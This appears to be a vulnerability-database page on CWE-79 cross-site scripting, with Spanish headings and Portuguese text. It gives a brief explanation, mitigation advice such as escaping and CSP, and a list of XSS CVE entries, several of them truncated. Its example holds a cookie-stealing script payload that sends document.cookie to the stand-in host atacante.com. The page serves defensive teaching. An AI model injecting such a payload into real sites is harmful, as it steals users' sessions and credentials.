Fallos del tipo CWE-79

29.274 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-45033MEDIUMA cross-site scripting (XSS) vulnerability in Expense Tracker 1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted paEPSS 0.5%CVE-2026-15596MEDIUMSourceCodester Class and Exam Timetabling System subject.php cross site scriptingEPSS 0.5%CVE-2026-90571MEDIUMExrick xmall Order Printing order-print.jsp cross site scriptingEPSS 0.5%CVE-2026-84695CRITICALBookStack before 26.05.4 Stored XSS via Drawing UploadEPSS 0.5%CVE-2023-28692MEDIUMWordPress WP Abstracts Plugin <= 2.6.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2026-13556MEDIUMitsourcecode Online Hotel Management System POST Request controller.php edit cross site scriptingEPSS 0.5%CVE-2026-90615MEDIUMSourceCodester Class and Exam Timetabling System subject1.php cross site scriptingEPSS 0.5%CVE-2026-87923MEDIUMRizwan17 inventory-management-system List DBOperation.php cross site scriptingEPSS 0.5%CVE-2022-45008MEDIUMOnline Leave Management System v1.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the component /leave_systEPSS 0.5%CVE-2023-39683MEDIUMCross Site Scripting (XSS) vulnerability in EasyEmail v.4.12.2 and before allows a local attacker to execute arbitrary code via the user inpEPSS 0.5%CVE-2024-1510MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via su_tooltip ShortcodeEPSS 0.5%CVE-2022-44069MEDIUMZenario CMS 9.3.57186 is vulnerable to Cross Site Scripting (XSS) via the Nest library module.EPSS 0.5%CVE-2024-1084MEDIUMCross-site Scripting in the tag name pattern field in the tag protections UI in GitHub Enterprise Server allows a malicious website that reqEPSS 0.5%CVE-2023-6488MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-2042MEDIUMElementsKit Elementor addons <= 3.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Accordion WidgetEPSS 0.5%CVE-2022-44073MEDIUMZenario CMS 9.3.57186 is vulnerable to Cross Site Scripting (XSS) via svg,Users & Contacts.EPSS 0.5%CVE-2024-22569MEDIUMStored Cross-Site Scripting (XSS) vulnerability in POSCMS v4.6.2, allows attackers to execute arbitrary code via a crafted payload to /indexEPSS 0.5%CVE-2024-57277MEDIUMInnoShop V.0.3.8 and below is vulnerable to Cross Site Scripting (XSS) via SVG file upload.EPSS 0.5%CVE-2024-1236MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-13736MEDIUMPure Chat – Live Chat & More! <= 2.4 - Reflected Cross-Site Scripting via purechatWidgetName ParameterEPSS 0.5%